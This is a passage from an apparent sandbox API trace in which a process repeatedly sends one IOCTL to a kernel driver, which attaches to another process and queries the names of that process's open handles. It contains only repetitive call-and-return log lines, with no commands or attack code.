lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0092.715] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.715] PsAcquireProcessExitSynchronization () returned 0x0 [0092.715] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.715] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a004ab7f60, HandleInformation=0x0) returned 0x0 [0092.715] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.715] PsReleaseProcessExitSynchronization () returned 0x2 [0092.715] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.715] ObQueryNameString (in: Object=0xfffff8a004ab7f60, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.715] ObfDereferenceObject (Object=0xfffff8a004ab7f60) returned 0x2 [0092.715] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.715] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.715] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.715] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0092.715] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.715] PsAcquireProcessExitSynchronization () returned 0x0 [0092.715] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.715] ObReferenceObjectByHandle (in: Handle=0xb4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030564e0, HandleInformation=0x0) returned 0x0 [0092.715] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.715] PsReleaseProcessExitSynchronization () returned 0x2 [0092.715] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.715] ObQueryNameString (in: Object=0xfffffa80030564e0, ObjectNameInfo=0xfffffa8002023044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002023044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.715] ObfDereferenceObject (Object=0xfffffa80030564e0) returned 0x2 [0092.715] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.715] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.715] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.715] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0092.715] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.715] PsAcquireProcessExitSynchronization () returned 0x0 [0092.715] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.715] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003097c00, HandleInformation=0x0) returned 0x0 [0092.715] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.716] PsReleaseProcessExitSynchronization () returned 0x2 [0092.716] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.716] ObQueryNameString (in: Object=0xfffffa8003097c00, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.716] ObfDereferenceObject (Object=0xfffffa8003097c00) returned 0x2 [0092.716] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.716] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.716] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.716] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.716] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.716] PsAcquireProcessExitSynchronization () returned 0x0 [0092.716] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.716] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0018a4c90, HandleInformation=0x0) returned 0x0 [0092.716] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.716] PsReleaseProcessExitSynchronization () returned 0x2 [0092.716] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.716] ObQueryNameString (in: Object=0xfffff8a0018a4c90, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.716] ObfDereferenceObject (Object=0xfffff8a0018a4c90) returned 0x1 [0092.716] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.716] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.716] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.716] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.716] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.716] PsAcquireProcessExitSynchronization () returned 0x0 [0092.716] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.716] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00181b820, HandleInformation=0x0) returned 0x0 [0092.716] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.716] PsReleaseProcessExitSynchronization () returned 0x2 [0092.716] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.716] ObQueryNameString (in: Object=0xfffff8a00181b820, ObjectNameInfo=0xfffffa800203c044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800203c044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.716] ObfDereferenceObject (Object=0xfffff8a00181b820) returned 0x1 [0092.716] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.716] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.716] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.716] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0092.717] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.717] PsAcquireProcessExitSynchronization () returned 0x0 [0092.717] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.717] ObReferenceObjectByHandle (in: Handle=0xe8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003120a00, HandleInformation=0x0) returned 0x0 [0092.717] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.717] PsReleaseProcessExitSynchronization () returned 0x2 [0092.717] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.717] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005233508) returned 0x0 [0092.717] ObfDereferenceObject (Object=0xfffffa8003120a00) returned 0x1 [0092.717] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.717] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.717] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.717] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.717] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.717] PsAcquireProcessExitSynchronization () returned 0x0 [0092.717] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.717] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00170c890, HandleInformation=0x0) returned 0x0 [0092.717] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.717] PsReleaseProcessExitSynchronization () returned 0x2 [0092.717] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.717] ObQueryNameString (in: Object=0xfffff8a00170c890, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.717] ObfDereferenceObject (Object=0xfffff8a00170c890) returned 0x1 [0092.717] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.717] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.717] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.717] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.717] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.717] PsAcquireProcessExitSynchronization () returned 0x0 [0092.717] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.717] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001ef79f0, HandleInformation=0x0) returned 0x0 [0092.717] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.717] PsReleaseProcessExitSynchronization () returned 0x2 [0092.717] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.717] ObQueryNameString (in: Object=0xfffff8a001ef79f0, ObjectNameInfo=0xfffffa800204c044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800204c044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.718] ObfDereferenceObject (Object=0xfffff8a001ef79f0) returned 0x1 [0092.718] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.718] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.718] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.718] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.718] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.718] PsAcquireProcessExitSynchronization () returned 0x0 [0092.718] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.718] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089a6a30, HandleInformation=0x0) returned 0x0 [0092.718] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.718] PsReleaseProcessExitSynchronization () returned 0x2 [0092.718] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.718] ObQueryNameString (in: Object=0xfffff8a0089a6a30, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.718] ObfDereferenceObject (Object=0xfffff8a0089a6a30) returned 0x1 [0092.718] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.718] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.718] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.718] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.718] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.718] PsAcquireProcessExitSynchronization () returned 0x0 [0092.718] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.718] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089a64c0, HandleInformation=0x0) returned 0x0 [0092.718] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.718] PsReleaseProcessExitSynchronization () returned 0x2 [0092.718] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.718] ObQueryNameString (in: Object=0xfffff8a0089a64c0, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.718] ObfDereferenceObject (Object=0xfffff8a0089a64c0) returned 0x1 [0092.718] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.718] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.718] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.718] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.718] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.718] PsAcquireProcessExitSynchronization () returned 0x0 [0092.718] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.718] ObReferenceObjectByHandle (in: Handle=0xfc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089ccd60, HandleInformation=0x0) returned 0x0 [0092.719] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.719] PsReleaseProcessExitSynchronization () returned 0x2 [0092.719] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.719] ObQueryNameString (in: Object=0xfffff8a0089ccd60, ObjectNameInfo=0xfffffa8002061044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002061044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.719] ObfDereferenceObject (Object=0xfffff8a0089ccd60) returned 0x1 [0092.719] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.719] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.719] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.719] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.719] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.719] PsAcquireProcessExitSynchronization () returned 0x0 [0092.719] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.719] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001207fc0, HandleInformation=0x0) returned 0x0 [0092.719] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.719] PsReleaseProcessExitSynchronization () returned 0x2 [0092.719] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.719] ObQueryNameString (in: Object=0xfffff8a001207fc0, ObjectNameInfo=0xfffffa800207b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800207b044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.719] ObfDereferenceObject (Object=0xfffff8a001207fc0) returned 0x1 [0092.719] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.719] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.719] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.719] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.719] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.719] PsAcquireProcessExitSynchronization () returned 0x0 [0092.719] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.719] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001651610, HandleInformation=0x0) returned 0x0 [0092.719] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.719] PsReleaseProcessExitSynchronization () returned 0x2 [0092.719] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.719] ObQueryNameString (in: Object=0xfffff8a001651610, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.719] ObfDereferenceObject (Object=0xfffff8a001651610) returned 0x1 [0092.719] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.719] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.720] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.720] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.720] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.720] PsAcquireProcessExitSynchronization () returned 0x0 [0092.720] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.720] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001201570, HandleInformation=0x0) returned 0x0 [0092.720] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.720] PsReleaseProcessExitSynchronization () returned 0x2 [0092.720] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.720] ObQueryNameString (in: Object=0xfffff8a001201570, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.720] ObfDereferenceObject (Object=0xfffff8a001201570) returned 0x1 [0092.720] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.720] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.720] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.720] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.720] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.720] PsAcquireProcessExitSynchronization () returned 0x0 [0092.720] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.720] ObReferenceObjectByHandle (in: Handle=0x10c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0017d2a40, HandleInformation=0x0) returned 0x0 [0092.720] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.720] PsReleaseProcessExitSynchronization () returned 0x2 [0092.720] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.720] ObQueryNameString (in: Object=0xfffff8a0017d2a40, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.720] ObfDereferenceObject (Object=0xfffff8a0017d2a40) returned 0x1 [0092.720] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.720] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.720] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.720] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.720] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.720] PsAcquireProcessExitSynchronization () returned 0x0 [0092.720] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.720] ObReferenceObjectByHandle (in: Handle=0x110, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d5d80, HandleInformation=0x0) returned 0x0 [0092.720] KeUnstackDetachProcess 